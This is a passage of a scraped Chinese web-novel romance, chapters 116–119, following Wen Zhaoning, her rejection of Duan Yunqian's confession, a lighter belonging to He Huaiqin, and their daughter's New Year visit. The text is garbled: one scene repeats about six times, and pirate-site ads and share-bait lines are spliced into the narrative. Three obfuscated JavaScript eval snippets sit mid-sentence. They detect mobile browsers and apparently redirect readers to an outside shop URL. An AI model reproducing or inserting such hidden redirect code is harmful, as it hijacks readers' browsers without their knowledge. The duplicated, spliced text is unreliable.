她正要推开段允谦,忽然听到大厅里传来“啪嗒”一声。 这声音不大,但在深夜寂静的民宿里,却显得格外刺耳。 “好像有人来了。” 温昭宁像是抓住了救命稻草,立刻伸手推开了段允谦,逃似地转身朝厨房门口冲去。 她快步穿过连接厨房和前厅的短走廊,前厅只亮着几盏昏暗的夜灯,壁炉里的炭火早已熄灭,只余一片温 暖的黑暗和寂静。 刚才那声“啪嗒”响似乎就是从壁炉附近传来的。 温昭宁放慢了脚步目光在大厅里扫了一圈忽然她看到壁炉旁的矮几边躺着一个小小的、长方形的东西。 借着廊灯的光她勉强能辨认出来那似乎是一个打火机。 她走过去将打火机捡了起来。 那是一个看起来颇为精致的银色打火机一般人用不起可现在民宿里住的那些精英律师各个都不一般。 这是哪位男律师白天落下的?还是刚刚谁来过落下的? 刚才那声响是有人走动还是夜风吹动了什么东西? 温昭宁正想着段允谦也从厨房那边走了过来。 “刚刚是什么声音?”他问。 “不知道。”温昭宁将手里的打火机递给他看声音有些飘忽“我出来就看到一个打火机也不知道是谁掉的。” “明天问问吧。” “嗯。” 这一插曲打断了刚刚的告白两人现在面对面站着都有点尴尬。 好在 “允谦你坐一下我给你倒杯水我们好好聊一下。” 段允谦点点头走到前台的那把椅子上坐下。 温昭宁去茶水台那边倒了两杯水过来递给段允谦一杯。 她坐到了段允谦对面看着他红晕还未退潮的脸颊沉了一口气低声说:“对不起允谦。” 第116章 健康的爱情 段允谦其实在表白之时,就已经隐隐预见了她的答案,可是,这一刻亲耳听到她那么平静地说出来,他的心里还是会觉得空落落的。 “昭宁姐,我知道,你可能暂时对我没有感觉,但是没关系,我可以等,无论等多久我都愿意!” “允谦,你先别激动,你听我说。”温昭宁双手交叠放在膝上,她组织了一下语言,没有回避,直视着段允谦的眼睛说,“首先,我真的非常感谢你对我的这份真心,说实话,我很感动……可是,感动不是爱。” 段允谦又想说什么,温昭宁轻轻抬手制止了他。 她继续道:“我在陆家的那几年,段姨一直在我身边,照顾着我和青柠,对于我而言,段姨就是我另一个母亲,她的家人,就是我的家人,所以当年你出车祸,我也很难过,我救你,是因为在我的潜意识里,你就是我弟弟。” “弟弟……”段允谦喃喃重复,嘴角扯出一个苦涩的弧度。 “是的,我从一开始就把你当成自己的弟弟看待,每次听段姨说起你的成长,说起你在工作上取得的成就,我真心为你高兴,可我对你,从来没有男女之情,从前没有,现在没有,以后……也不会有。” 段允谦的脸色沉了几分,手指无意识地抓紧了手里的杯子。 温昭宁注意到这个细节,她也于心不忍,但是她知道,长痛不如短痛,有些话,不能含糊,也不能拖延。 “允谦,你是一个非常好的人,年轻,有才华,前途无量,你值得拥有最纯粹最美好的感情,但这份感情不应该是建立在三年前那场车祸和我伸出援手的基础之上。”温昭宁放缓了语速,试图让他理解,“那不是爱……那更像是一种在绝境中被拯救后,产生的强烈的依赖和感激,这些年,我们两个见面的次数屈指可数,你甚至根本不曾真正了解我,你对我的感情,不过是一种带着美好滤镜的执念,你将第一次见到的我神化了,将那份感激和触动,误认为了爱情。” “不,昭宁姐,我确定我爱你。” “可我真的不是你想像中的那个‘神女’。”温昭宁自嘲一笑,“我是一个有着很多缺点,犯过很多错误,同时,心里也装着很多负累的普通女人,我不值得你为我付出如此厚重而理想化的感情,别等我,你应该放下那场 车祸,放下所谓的恩情,过去的一切都不应该成为你的枷锁。 大厅里一片寂静,只有温昭宁平静却有力的话在空气中缓缓沉淀。 段允谦低着头,肩膀垮下,整个人仿佛被抽走了所有力气一般。 温昭宁也没有再说话,给他时间去消化。 良久,段允谦才抬起头,眼神中满是失落和茫然:“我在你心里,真的只是弟弟吗? “是,温昭宁毫不犹豫地点头,“如果你愿意的话,我们将永远都是家人般的存在。 段允谦看着她,看了许久,终于,他妥协般扯了扯唇角:“我明白了,谢谢你昭宁姐,谢谢你和我说这些,虽然……真的很难接受,你休息吧,我上去了。 他站起身,脚步虚浮地朝楼梯口走去,背影在昏暗的光线里显得有些孤寂。 “允谦。温昭宁叫住他。 段允谦回过头来看着她。 温昭宁冲他笑了笑:“你的世界很广阔,未来,你一定会遇到真正与你心意相通,平等相爱的人,那个人会看到真实完整的你,你也会看到真实完整的她,那才是属于你的健康的爱情。 “嗯。—— 段允谦上楼后,温昭宁洗漱了一下,也去了休息室睡觉。 她已经累到极致了,可却翻来覆去怎么都睡不着。 失眠已经成为了她最近挥之不去的阴影,今天更甚,虽然她用最体面的方式拒绝了段允谦,可是她的心很乱。 尤其,是她看着段允谦受伤却努力保持微笑的样子,她整个人都被内疚感和罪恶感笼罩了。 温昭宁起来吃了两颗褪黑素。 这褪黑素起初对她还是有效的,能勉强为她带来几小时的深睡眠,可渐渐地,效果越来越差,从一颗到两颗,从提前一小时吃到提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145811|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两小时吃……她的睡眠依旧很浅,稍有风吹草动,便会立刻惊醒。 失眠就像是一种缓慢的凌迟,一点点磨损着她的精力。 温昭宁想到自己明天还有一大堆事情要处理,越想睡,越是睡不着。 她只能睁着眼,在这片浓得化不开的黑暗里,独自对抗着身体和精神的衰竭。 第二天,窗外第一缕灰白的天光,将她从这场无声的酷刑中暂时解放。 她迅速起床洗漱,换上轻便的衣物,化了个妆将眼下的青黑和心头的纷乱压下,打起精神去厨房。 厨房已经亮起了灯。 舅舅和舅妈早就在帮忙熬粥,做包子了,旁边的小桌子上,一碟一碟的白粥的配菜放得整整齐齐的。 除了传统的中式早餐,温昭宁还在外面订了火腿芝士三明治、金枪鱼三明治、可颂和现磨的美式和拿铁。 她看看时间,烘焙坊那边应该快把早餐送过来了,她正准备去外面接应,一走出厨房,恰与段允谦遇个正着。 “早,昭宁姐。段允谦一看到温昭宁,就自然地和她打招呼。 他的笑容还是一如既往的温和,仿佛昨夜那场告白从未发生过。 “早。温昭宁回。 “你去哪?段允谦问。 “我订了早餐,到点送过来了,我去门口看一下。 小说的域名caixs?(请来才 小说 看最新章节 完整章节) “你把清单给我,我去吧。他的语气寻常,和平时帮忙时一模一样,看她的眼神也丝毫没有尴尬。 所以,他这是真的想通了? 这个猜测,让温昭宁紧绷了一晚上的心弦,骤然松弛了几分。 如果段允谦真的能想通,能以平常心相处,那真是再好不过了,她实在不愿因为感情纠葛失去一个可靠的朋友。 “好,那你去仓库拿个小推车,我订了咖啡,小心洒了。她也尽量装作无事发生。 “好。 第117章 这是贺律的 七点过后律师们都陆陆续续地起来了。 当大家走进餐厅时眼前的选择让他们有些惊喜。 “哇还有三明治和咖啡!” “我上一次喝到起米油的小米粥还是去年回家过年的时候。” “你们快尝尝这个腌萝卜味道太绝了。” “太贴心了我正想着要是有一杯热拿铁就好了!” 赞叹声此起彼伏。 律师们根据自己的喜好三三两两落座吃起了早餐。 温昭宁站在稍远一点的位置看着眼前的这一幕 忽然她发现贺淮钦不在。 这有些反常毕竟温昭宁知道贺淮钦并不是一个会睡懒觉的人。 “温老板你这里的可颂好好吃啊。”正好小贾律师走到了温昭宁的面前。 温昭宁立刻问:“小贾律师今天怎么没看到贺律师?” “哦贺律啊昨晚国外分所那边出了一点状况必须他亲自过去坐镇所以他半夜赶飞机飞欧洲了。” 连夜出国了? 那就意味着他提前结束团建活动了今天的行程都不会有他。 温昭宁心里莫名有点空落落的。 不过虽然贺淮钦走了但是温昭宁作为民宿的负责人并没有因为核心人物的离去而有丝毫懈怠这一整天她依旧细致周到地安排着一切直到团建活动结束。 她认真负责的态度也打动了律所的所有律师。 大家看她这两天凌晨即起亲自检查食材安排车辆事无巨细无论多累都毫无怨言她的专注和专业让所有人都意识到她的美不仅仅是眉眼五官的精致更是一种由内而外散发出来的人格魅力。 所以当分别时刻来临的时候大家都有点舍不得她。 “温老板加个微信吧以后可以常联系。” 当有人说出这个提议后立即得到了热烈的响应这不再是客套而是大家真心想和这样一位坚韧、聪慧、温柔、独立的女性保持一份长久的联系。 “温老板来年春天我还要带我爸妈过来玩到时候还住你这里。” “对啊明年开春我也还要来 一趟,这里太舒服了,比去那些五星级度假村放松多了,关键是,特别有人情味。” “温老板加个微信,平时朋友圈多分享一些这里的美景,让我们这些困在写字楼里的人都解解馋。” “……” 温昭宁一直觉得,开门做生意就是真心换真心,现在面对这一张张真诚又热情的笑脸,她也很感动。 “民宿的大门随时为大家敞开,欢迎大家春天来看花,夏天来避暑,我会一直在这里等大家的。” “好,来年再聚,提前祝温老板新年快乐!” “也祝大家新年快乐,万事顺意!”—— 团建活动结束后,段允谦帮着温昭宁和鹿鹿她们将前厅清理了一下,一切收拾妥当后,他洗干净手,走到温昭宁面前。 “昭宁姐,这边差不多都收拾好了,我今天也要走了,我工作室那边积压了不少事情,几个项目图纸都在等着我做最终的确认。” 温昭宁抬起头看着他,段允谦脸上没什么特别的表情,只有眼神深处一种不得不回归现实的清醒。 她心里明白。 段允谦留在这里,很大程度上是因为她。如今,他的心意已经挑明,也被她明确拒绝,他继续留下来,除了徒增尴尬和痛苦,已无其他意义。 “好,这两天真是辛苦你了,没有你的帮忙,这次团建也不会这么顺利的结束。” “别这么说,能帮上忙,我很高兴。”段允谦的目光落在温昭宁的脸上,斟酌着开口,“以后……希望还能和你联系……是朋友的那种联系。” “那当然了,我有空还要带青柠去看段姨呢,到时候再一起吃饭。” “好。” “那你路上小心,也提前祝你新年快乐。” “新年快乐!” 段允谦没有再多停留,他冲温昭宁微微颔首后,拉上自己早已收拾好的行李箱,朝民宿大门口走去。 他的背影,少了几分来时的雀跃,多了一份沉淀后的孤直。 温昭宁送他到门口,看着他上车,看着他的车一点点消失在视野里。 人都走光了,民宿的小院一下子就寂静了下来。 温昭宁强撑了两天,神经放松下来,整个人瞬间绷不住了。 “鹿鹿 ,我先睡一会儿,剩下的,晚点再整理。” “好。” 她走进休息室,倒在那张小床上,外套都没有脱,意识就沉入了黑暗。 只是这一觉,并没有睡多久,大概三个多小时后,她就惊醒过来。 短暂的睡眠并没有驱散疲惫,反而更添几分倦怠,温昭宁原本还想再躺一会儿,忽然听到外面传来陈益的声音。 她立刻起身,走了出去。 陈益一看到她,就冲她笑:“温老板,我来结活动的尾款。” “陈助理,你手机上转我就行了,怎么还特地大老远跑一趟。” “因为我还有别的任务。”陈益说着,从他的公文包里掏出几个鼓鼓囊囊的红包,“这次团建活动,律所有人都非常开心,这是贺律给民宿工作人员准备的新年红包,感谢大家这两天的照顾。” 陈益一边说,一边给鹿鹿、边雨棠她们分发起红包来,就连不在场的保洁阿姨,红包也没有少。 “哇!这红包也太厚实了吧!”鹿鹿感慨,“我从小到大,都没有收到过这么厚的红包!贺律真是财大气粗!” “我也没有收到过。”边雨棠说。 陈益也给温昭宁发了一个,温昭宁把红包捏在手里感受了一下厚度,这起码……有一万吧。 “陈助理,这怎么好意思,我们也是拿钱办事。” “温老板别客气,你们就都收着吧,我们贺律他不差钱。” 温昭宁:“……” 陈益结了尾款,发完红包就要走,温昭宁忽然想起一件事情。 “对了陈助理,昨晚我捡到一个打火机,也不知道是哪位律师掉的?”温昭宁去前台拿来那枚银色的打火机,递给陈益,“今天我忙忘了,现在才记起来,麻烦你带回去物归原主。” 陈益接过打火机,看了一眼。 “这是贺律的。” 温昭宁一怔。 是贺淮钦的? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ,我先睡一会儿,剩下的,晚点再整理。 “好。 她走进休息室,倒在那张小床上,外套都没有脱,意识就沉入了黑暗。 只是这一觉,并没有睡多久,大概三个多小时后,她就惊醒过来。 短暂的睡眠并没有驱散疲惫,反而更添几分倦怠,温昭宁原本还想再躺一会儿,忽然听到外面传来陈益的声音。 她立刻起身,走了出去。 陈益一看到她,就冲她笑:“温老板,我来结活动的尾款。 “陈助理,你手机上转我就行了,怎么还特地大老远跑一趟。 “因为我还有别的任务。陈益说着,从他的公文包里掏出几个鼓鼓囊囊的红包,“这次团建活动,律所有人都非常开心,这是贺律给民宿工作人员准备的新年红包,感谢大家这两天的照顾。 陈益一边说,一边给鹿鹿、边雨棠她们分发起红包来,就连不在场的保洁阿姨,红包也没有少。 “哇!这红包也太厚实了吧!鹿鹿感慨,“我从小到大,都没有收到过这么厚的红包!贺律真是财大气粗! “我也没有收到过。边雨棠说。 陈益也给温昭宁发了一个,温昭宁把红包捏在手里感受了一下厚度,这起码……有一万吧。 “陈助理,这怎么好意思,我们也是拿钱办事。 “温老板别客气,你们就都收着吧,我们贺律他不差钱。 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) 温昭宁:“…… 陈益结了尾款,发完红包就要走,温昭宁忽然想起一件事情。 “对了陈助理,昨晚我捡到一个打火机,也不知道是哪位律师掉的?温昭宁去前台拿来那枚银色的打火机,递给陈益,“今天我忙忘了,现在才记起来,麻烦你带回去物归原主。 陈益接过打火机,看了一眼。 “这是贺律的。 温昭宁一怔。 是贺淮钦的? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 我先睡一会儿剩下的晚点再整理。” “好。” 她走进休息室倒在那张小床上外套都没有脱意识就沉入了黑暗。 只是这一觉并没有睡多久大概三个多小时后她就惊醒过来。 短暂的睡眠并没有驱散疲惫反而更添几分倦怠温昭宁原本还想再躺一会儿忽然听到外面传来陈益的声音。 她立刻起身走了出去。 陈益一看到她就冲她笑:“温老板我来结活动的尾款。” “陈助理你手机上转我就行了怎么还特地大老远跑一趟。” “因为我还有别的任务。”陈益说着从他的公文包里掏出几个鼓鼓囊囊的红包“这次团建活动律所有人都非常开心这是贺律给民宿工作人员准备的新年红包感谢大家这两天的照顾。” 陈益一边说一边给鹿鹿、边雨棠她们分发起红包来就连不在场的保洁阿姨红包也没有少。 “哇!这红包也太厚实了吧!”鹿鹿感慨“我从小到大都没有收到过这么厚的红包!贺律真是财大气粗!” “我也没有收到过。”边雨棠说。 陈益也给温昭宁发了一个温昭宁把红包捏在手里感受了一下厚度这起码……有一万吧。 “陈助理这怎么好意思我们也是拿钱办事。” “温老板别客气你们就都收着吧我们贺律他不差钱。” 温昭宁:“……” 陈益结了尾款发完红包就要走温昭宁忽然想起一件事情。 “对了陈助理 小说的域名caixs▉(请来才 小说 看最新章节 完整章节)昨晚我捡到一个打火机也不知道是哪位律师掉的?”温昭宁去前台拿来那枚银色的打火机递给陈益“今天我忙忘了现在才记起来麻烦你带回去物归原主。” 陈益接过打火机看了一眼。 “这是贺律的。” 温昭宁一怔。 是贺淮钦的? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 我先睡一会儿剩下的晚点再整理。” “好。” 她走进休息室倒在那张小床上外套都没有脱意识就沉入了黑暗。 只是这一觉并没有睡多久大概三个多小时后她就惊醒过来。 短暂的睡眠并没有驱散疲惫反而更添几分倦怠温昭宁原本还想再躺一会儿忽然听到外面传来陈益的声音。 她立刻起身走了出去。 陈益一看到她就冲她笑:“温老板我来结活动的尾款。” “陈助理你手机上转我就行了怎么还特地大老远跑一趟。” “因为我还有别的任务。”陈益说着从他的公文包里掏出几个鼓鼓囊囊的红包“这次团建活动律所有人都非常开心这是贺律给民宿工作人员准备的新年红包感谢大家这两天的照顾。” 陈益一边说一边给鹿鹿、边雨棠她们分发起红包来就连不在场的保洁阿姨红包也没有少。 “哇!这红包也太厚实了吧!”鹿鹿感慨“我从小到大 “我也没有收到过。”边雨棠说。 陈益也给温昭宁发了一个温昭宁把红包捏在手里感受了一下厚度这起码……有一万吧。 “陈助理这怎么好意思我们也是拿钱办事。” “温老板别客气你们就都收着吧我们贺律他不差钱。” 温昭宁:“……” 陈益结了尾款发完红包就要走温昭宁忽然想起一件事情。 “对了陈助理昨晚我捡到一个打火机也不知道是哪位律师掉的?”温昭宁去前台拿来那枚银色的打火机递给陈益“今天我忙忘了现在才记起来麻烦你带回去物归原主。” 陈益接过打火机看了一眼。 “这是贺律的。” 温昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145812|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁一怔。 是贺淮钦的? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 ,我先睡一会儿,剩下的,晚点再整理。 “好。 她走进休息室,倒在那张小床上,外套都没有脱,意识就沉入了黑暗。 只是这一觉,并没有睡多久,大概三个多小时后,她就惊醒过来。 短暂的睡眠并没有驱散疲惫,反而更添几分倦怠,温昭宁原本还想再躺一会儿,忽然听到外面传来陈益的声音。 她立刻起身,走了出去。 陈益一看到她,就冲她笑:“温老板,我来结活动的尾款。 “陈助理,你手机上转我就行了,怎么还特地大老远跑一趟。 “因为我还有别的任务。陈益说着,从他的公文包里掏出几个鼓鼓囊囊的红包,“这次团建活动,律所有人都非常开心,这是贺律给民宿工作人员准备的新年红包,感谢大家这两天的照顾。 陈益一边说,一边给鹿鹿、边雨棠她们分发起红包来,就连不在场的保洁阿姨,红包也没有少。 “哇!这红包也太厚实了吧!鹿鹿感慨,“我从小到大,都没有收到过这么厚的红包!贺律真是财大气粗! “我也没有收到过。边雨棠说。 陈益也给温昭宁发了一个,温昭宁把红包捏在手里感受了一下厚度,这起码……有一万吧。 “陈助理,这怎么好意思,我们也是拿钱办事。 “温老板别客气,你们就都收着吧,我们贺律他不差钱。 温昭宁:“…… 陈益结了尾款,发完红包就要走,温昭宁忽然想起一件事情。 “对了陈助理,昨晚我捡到一个打火机,也不知道是哪位律师掉的?温昭宁去前台拿来那枚银色的打火机,递给陈益,“今天我忙忘了,现在才记起来,麻烦你带回去物归原主。 陈益接过打火机,看了一眼。 “这是贺律的。 温昭宁一怔。 是贺淮钦的? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ,我先睡一会儿,剩下的,晚点再整理。” “好。” 她走进休息室,倒在那张小床上,外套都没有脱,意识就沉入了黑暗。 只是这一觉,并没有睡多久,大概三个多小时后,她就惊醒过来。 短暂的睡眠并没有驱散疲惫,反而更添几分倦怠,温昭宁原本还想再躺一会儿,忽然听到外面传来陈益的声音。 她立刻起身,走了出去。 陈益一看到她,就冲她笑:“温老板,我来结活动的尾款。” “陈助理,你手机上转我就行了,怎么还特地大老远跑一趟。” “因为我还有别的任务。”陈益说着,从他的公文包里掏出几个鼓鼓囊囊的红包,“这次团建活动,律所有人都非常开心,这是贺律给民宿工作人员准备的新年红包,感谢大家这两天的照顾。” 陈益一边说,一边给鹿鹿、边雨棠她们分发起红包来,就连不在场的保洁阿姨,红包也没有少。 “哇!这红包也太厚实了吧!”鹿鹿感慨,“我从小到大,都没有收到过这么厚的红包!贺律真是财大气粗!” “我也没有收到过。”边雨棠说。 陈益也给温昭宁发了一个,温昭宁把红包捏在手里感受了一下厚度,这起码……有一万吧。 “陈助理,这怎么好意思,我们也是拿钱办事。” “温老板别客气,你们就都收着吧,我们贺律他不差钱。” 温昭宁:“……” 陈益结了尾款,发完红包就要走,温昭宁忽然想起一件事情。 “对了陈助理,昨晚我捡到一个打火机,也不知道是哪位律师掉的?”温昭宁去前台拿来那枚银色的打火机,递给陈益,“今天我忙忘了,现在才记起来,麻烦你带回去物归原主。” 陈益接过打火机,看了一眼。 “这是贺律的。” 温昭宁一怔。 是贺淮钦的? 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,我先睡一会儿,剩下的,晚点再整理。” “好。” 她走进休息室,倒在那张小床上,外套都没有脱,意识就沉入了黑暗。 只是这一觉,并没有睡多久,大概三个多小时后,她就惊醒过来。 短暂的睡眠并没有驱散疲惫,反而更添几分倦怠,温昭宁原本还想再躺一会儿,忽然听到外面传来陈益的声音。 她立刻起身,走了出去。 陈益一看到她,就冲她笑:“温老板,我来结活动的尾款。” “陈助理,你手机上转我就行了,怎么还特地大老远跑一趟。” “因为我还有别的任务。”陈益说着,从他的公文包里掏出几个鼓鼓囊囊的红包,“这次团建活动,律所有人都非常开心,这是贺律给民宿工作人员准备的新年红包,感谢大家这两天的照顾。” 陈益一边说,一边给鹿鹿、边雨棠她们分发起红包来,就连不在场的保洁阿姨,红包也没有少。 “哇!这红包也太厚实了吧!”鹿鹿感慨,“我从小到大,都没有收到过这么厚的红包!贺律真是财大气粗!” “我也没有收到过。”边雨棠说。 陈益也给温昭宁发了一个,温昭宁把红包捏在手里感受了一下厚度,这起码……有一万吧。 “陈助理,这怎么好意思,我们也是拿钱办事。” “温老板别客气,你们就都收着吧,我们贺律他不差钱。” 温昭宁:“……” 陈益结了尾款,发完红包就要走,温昭宁忽然想起一件事情。 “对了陈助理,昨晚我捡到一个打火机,也不知道是哪位律师掉的?”温昭宁去前台拿来那枚银色的打火机,递给陈益,“今天我忙忘了,现在才记起来,麻烦你带回去物归原主。” 陈益接过打火机,看了一眼。 “这是贺律的。” 温昭宁一怔。 是贺淮钦的? 你的朋友正在书荒,快去帮帮他吧 第118章 走出来一个女人 陈益走的时候,温昭宁想托他把贺淮钦的打火机也一并带回去,可陈益却说:“温小姐,下次见面的时候,你自己还给贺律吧。” 然后,他就走了,深藏功与名。 温昭宁看着手里沉甸甸的打火机,心里很疑惑,贺淮钦是什么时候把打火机落在那里的?是段允谦和她表白的那一晚?还是前一天? 他不会看到段允谦抱着她的那一幕了吧? 温昭宁想问,可是,又觉得突然找他问这个问题很莫名其妙,所以忍住了。 律所的团建活动之后,温昭宁就没有再见过贺淮钦。 年二十八的那天,温昭宁忽然接到了袁西的电话。 因为青柠的抚养权官司要年后开庭,再加上她最近和贺淮钦沟通良好,温昭宁已经好长时间没有和袁西联络了,看到袁西的名字在手机屏幕上亮起来的那一刻,她还以为袁西是来给她拜年的。 “喂,袁律师,你好!” “温女士,你好,打扰了。”袁西的声音从听筒那端传来,“刚刚贺淮钦先生那边的廖律师联系我,传达了一个消息。” “什么消息?” “廖律师说,贺先生希望今年春节能将青柠接到他的身边一起过年,时间是从年三十到正月初三,一共四天,他们承诺会保证孩子的安全和快乐,并且会在初三下午,准时将孩子送回来。” 贺淮钦要把青柠接去他那里过年? 这是贺淮钦和青柠相认的第一个春节,贺淮钦会有这样的要求,温昭宁倒也理解,只是,她不理解的是,贺淮钦怎么又开始通过律师和她沟通,他们的微信不是加回来了吗? 温昭宁沉默的几秒,袁西以为她不愿意。 “温女士,廖律师强调了这是贺先生作为父亲的合法权利和情感需求,尤其是在新春佳节这样的传统团聚时刻,如果你这边不同意,那我再去和他们协商。” 温昭宁的第一反应当然是抗拒,春节对她和青柠来说,是一年中最重要最温馨的时刻,她们母女从来没在新春佳节分开过,可再想想,相较于她年年都在青柠的身边,贺淮钦一次都没有和青柠一起度过春节的经历,如果她拒绝,未免显得太不近人情。 电话那头的袁西没有催促,只是安静地等待着她的决定。 温昭宁思索良久,最终答应下来。 “好的,我同意。—— 大年三十的下午,贺淮钦的司机准时来温昭宁家里接青柠。 青柠虽然舍不得妈妈,但第一次和爸爸一起去过年,她还是隐隐有点小期待的。 温昭宁把女儿送到门口,蹲下来给青柠整理了一下衣领和围巾。 “宝贝,去了爸爸那里要听爸爸的话,想妈妈了就给妈妈打电话,要注意安全,别乱跑,别吃很多很多的零食,记住了吗?温昭宁强忍着心头的酸涩,努力让自己的声音听起来轻快些,“玩得开心点哦。 “知道啦妈妈!青柠脆生生地应着,踮起脚尖在她脸上用力亲了一口,“妈妈在家也要开心过年哦,等我回来给你带好吃的。 “好,新年快乐。 “新年快乐,妈妈再见! 青柠上了车,车子缓缓启动。 温昭宁站在院门口,看着车子渐行渐远,心里满是怅然。 今年的年三十晚上,家里特别的冷清,表哥姚志修和边雨棠离婚后,就在外租了房子,过年也没有回来,边雨棠又带着壹壹去了外省旅行,家里就只剩下温昭宁和妹妹温晚醍陪着三个老人。 五个人吃完年夜饭,就一起坐在沙发上看春晚,小品演员卖力地抖着包袱,可沙发上的几个人愣是谁都没有笑。 舅妈甚至还忍不住叹了口气。 温昭宁挺理解舅妈的心情的,回想去年过年,所有人都欢聚一堂,孩子们笑笑闹闹,边雨棠还公布了二胎的喜讯,今年这落差实在是太大了。 过了零点,窗外的鞭炮声此起彼伏,温昭宁和妹妹温晚醍一起上楼睡觉。 “姐,你和姐夫现在到底什么情况啊?温晚醍问。 “还喊姐夫呢,我都说了,他不是你姐夫。 “我不能接受我嗑的CP就这么Be了,去年过年的时候,他大老远跑来找你,你们深更半夜还要出去约会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148936|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今年怎么就搞成这样了呢。 温昭宁也想知道,他们,怎么就搞成这样了呢? 当然,也可能这样才是她和贺淮钦之间的正确打开方式,去年的甜才是不正常的。 青柠不在身边的这几天,温昭宁每天都过得不得劲,她感觉自己 的心里像是缺了一块最重要的东西,空空荡荡的。 时间也变得像是掺了胶的水,流动的又粘稠,又缓慢。 终于熬到正月初三。 按照约定,贺淮钦应该在下午两点前把青柠送回来,可温昭宁已经没耐心等到下午两点了,早上天一亮,她就出发去了沪城。 温昭宁直接把车子开到了贺淮钦的别墅外,她想着这样等贺淮钦把女儿带出来,她就可以第一时间见到女儿,然后接她回家。 中午十二点三十分,午饭时间刚过,贺淮钦就牵着青柠从别墅的大厅里走了出来。 青柠穿着红色的羽绒衣,头发扎成两个高丸子,眼睛亮晶晶的,她边走边昂头和贺淮钦说着什么,贺淮钦温柔地抬手揉了揉青柠的发心,耐心地回应着她。 温昭宁看到青柠的刹那,再也忍不住了。 她推开车门下车,朝庭院里的青柠喊了一声:“青柠! 青柠听到温昭宁的声音,立刻四下寻找。 “青柠,妈妈在这里!温昭宁在别墅的铁门外朝青柠招手。 “妈妈!是妈妈! 几天不见,青柠别提多想妈妈了,她一把挣脱了贺淮钦的手,就朝温昭宁跑过来,可惜大门还关着,两人只能隔着铁门牵手。 贺淮钦走过来,看了温昭宁一眼:“你怎么在这里? 这是民宿团建活动后,两人第一次见面,贺淮钦的目光多少有点冷淡。 “我太想青柠了,所以过来接她。温昭宁说。 贺淮钦没再多问,伸手打开了铁门。 青柠跑出门来,一把抱住了温昭宁的腿:“妈妈,我好想你啊! “妈妈也很想你! 温昭宁正准备蹲下来亲亲青柠的小脸蛋,别墅里忽然走出来一个女人。 第119章 新女朋友 这女人约莫三十岁左右,穿着一件浅驼色的羊绒大衣,长发微卷,妆容精致得体,整个人透着一种干练的气质。 “淮钦!等一下,青柠的玩具忘带了!女人手里拎着一只腊肠狗,脚步轻快地追出来,“我就说吧,你们走之前得检查一下东西,这不,把我们青柠小宝贝的新宠给落下了。 淮钦…… 青柠小宝贝…… 这两个亲昵的称呼,像根冰针一样扎进温昭宁的耳膜。 她看着那女人。 女人走到青柠面前,将腊肠狗递给青柠。 “青柠小宝贝,收好你的玩具哦,这可是白阿姨给你的新年礼物哦,你不带走,白阿姨会很难过的诶。 “对不起白阿姨,我只是不小心忘记了,不是故意不带的。青柠把腊肠狗抱在怀里,然后指了指自己身边的温昭宁,“白阿姨,给你介绍一下,这位是我的妈妈。 被青柠称为“白阿姨的女人像是才注意到温昭宁,她站起身来,看着温昭宁,朝温昭宁伸出手:“Hello,我是白方瑶。 温昭宁握了握她的手,自我介绍道:“温昭宁。 “原来你就是青柠的妈妈啊。白方瑶大大方方地夸她,“你很漂亮,难怪我们律师的同事都那么喜欢你! 律所的同事? “**也是律师吗?温昭宁问。 “是的,我和淮钦是同门,上一次团建活动,我在国外出差,很遗憾错过了,没有见识到温小姐那人见人夸的民宿。 “下次有机会再来。 “好。 两人正说着话,贺淮钦走到了温昭宁面前。 他垂眸,目光在青柠身上停留了一瞬,然后看向温昭宁,语气平淡:“这几天青柠在我这里过得很开心,我本来打算现在送她回去,既然你来了,那就由你把青柠带回去吧。 温昭宁点点头:“好。 贺淮钦俯身亲了亲青柠的发心,对青柠说:“宝贝,那你今天先跟妈妈回去,爸爸过几天再来看你。 “好,再见爸爸,再见白阿姨。 “再见青柠,下次见哦。 温昭宁牵着青柠上车。 她发动车子的时候,看到贺淮钦和白方瑶已 经转身往别墅里走了。 白方瑶边走,边伸手去替贺淮钦整理被风吹乱的衣领,贺淮钦没有避开。 温昭宁心头烦乱不堪。 这个白方瑶和贺淮钦到底什么关系? 他们看着,并不像是普通的同事,毕竟,普通同事怎么可能随意出入他的私宅? 难道,这是贺淮钦的新女友? 贺淮钦把她带到孩子面前,让她与孩子共度春节,这意味着什么? 